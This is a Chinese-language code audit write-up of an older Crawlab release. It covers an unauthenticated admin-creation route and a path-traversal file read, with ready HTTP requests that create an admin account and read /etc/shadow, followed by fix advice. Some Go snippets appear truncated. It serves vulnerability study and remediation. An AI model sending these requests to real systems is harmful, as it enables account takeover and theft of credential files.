Goland 代码审计: GitHub 开源项目 Crawlab
字数 883 2025-08-07 08:21:57
Goland 代码审计:GitHub 开源项目 Crawlab 漏洞分析
1. 项目概述
Crawlab 是一个开源的爬虫管理平台,官方在 2020 年 12 月进行了代码重构并迁移到 GitHub。本文分析的是重构前的版本存在的安全漏洞,最新版本已修复这些问题。
项目地址:https://github.com/crawlab-team/crawlab
2. 漏洞分析环境搭建
在进行代码审计前,建议:
- 在本地搭建项目环境
- 了解项目基本功能
- 分析路由结构
3. 路由权限分析
在 backend/main.go 文件中可以看到两种路由分组:
anonymousGroup:匿名可访问的路由authGroup:需要认证的路由
权限验证通过 AuthorizationMiddleware 方法实现,该方法下的所有路由都需要身份验证才能访问。
4. 漏洞挖掘
4.1 未授权用户创建漏洞
漏洞位置
在匿名可调用的方法中存在一个本应需要认证的 PutUser 方法。
代码分析
PutUser 方法定义:
// @Summary Put user
// @Description Put user
// @Tags user
// @Produce json
// @Param Authorization header string true "Authorization token"
// @Param reqData body routes.UserRequestData true "reqData body"
// @Success 200 json string Response
// @Failure 400 json string Response
// @Router /users [put]
func PutUser(c *gin.Context) {
// 绑定请求数据
var reqData UserRequestData
if err := c.ShouldBindJSON(&reqData); err != nil {
HandleError(http.StatusBadRequest, c, err)
return
}
// 默认为正常用户
if reqData.Role == ""
// UserId
uid := services.GetCurrentUserId(c)
// 空UserId 处理
if uid == ""
// 添加用户
if err := services.CreateNewUser(reqData.Username, reqData.Password, reqData.Role, reqData.Email, uid); err != nil {
HandleError(http.StatusInternalServerError, c, err)
return
}
c.JSON(http.StatusOK, Response{
Status: "ok",
Message: "success",
})
}
CreateNewUser 方法定义:
func CreateNewUser(username string, password string, role string, email string, uid bson.ObjectId) error {
user := model.User{
Username: strings.ToLower(username),
Password: utils.EncryptPassword(password),
Role: role,
Email: email,
UserId: uid,
Setting: model.UserSetting{
NotificationTrigger: constants.NotificationTriggerNever,
EnabledNotifications: []string{
constants.NotificationTypeMail,
constants.NotificationTypeDingTalk,
constants.NotificationTypeWechat,
},
},
}
if err := user.Add(); err != nil {
return err
}
return nil
}
权限定义
角色定义在 backend/constants/user.go 中,admin 为管理员权限。
利用方式
发送 PUT 请求创建管理员用户:
PUT /api/users HTTP/1.1
Host: target.com
Content-Length: 83
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
{"username":"testppp","password":"testppp","role":"admin","email":"testppp@qq.com"}
4.2 任意文件读取漏洞
漏洞位置
GetFile 方法存在路径遍历漏洞,允许读取任意文件。
代码分析
// @Summary Get file
// @Description Get file
// @Tags file
// @Produce json
// @Param Authorization header string true "Authorization token"
// @Success 200 json string Response
// @Failure 400 json string Response
// @Router /file [get]
func GetFile(c *gin.Context) {
path := c.Query("path")
fileBytes, err := ioutil.ReadFile(path)
if err != nil {
HandleError(http.StatusInternalServerError, c, err)
}
c.JSON(http.StatusOK, Response{
Status: "ok",
Message: "success",
Data: utils.BytesToString(fileBytes),
})
}
漏洞利用
结合第一个漏洞创建管理员用户后,可以读取任意文件:
GET /api/file?path=../../etc/shadow HTTP/1.1
Host: target.com
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjYwZGQxOWU0YmZjNzg3MDAxZDk1NjBjOSIsIm5iZiI6MTYzOTMwNTI2MiwidXNlcm5hbWUiOiJhZG1pbiJ9.mFRAwXN-QqTmFmPAxgFEJhVXwxVuxJMepHe4khADfgk
5. 漏洞修复建议
-
权限控制修复:
- 确保
PutUser方法只能由认证用户访问 - 检查所有路由的权限设置
- 确保
-
文件读取修复:
- 对文件路径进行规范化处理
- 限制可访问的目录范围
- 检查路径遍历符号(../)
-
输入验证:
- 对所有用户输入进行严格验证
- 实现白名单机制限制角色类型
6. 总结
通过本次审计发现的两个主要漏洞:
- 未授权用户创建漏洞(可创建管理员账户)
- 任意文件读取漏洞(结合第一个漏洞利用)
这两个漏洞组合可导致系统完全沦陷,建议使用最新版本并及时更新安全补丁。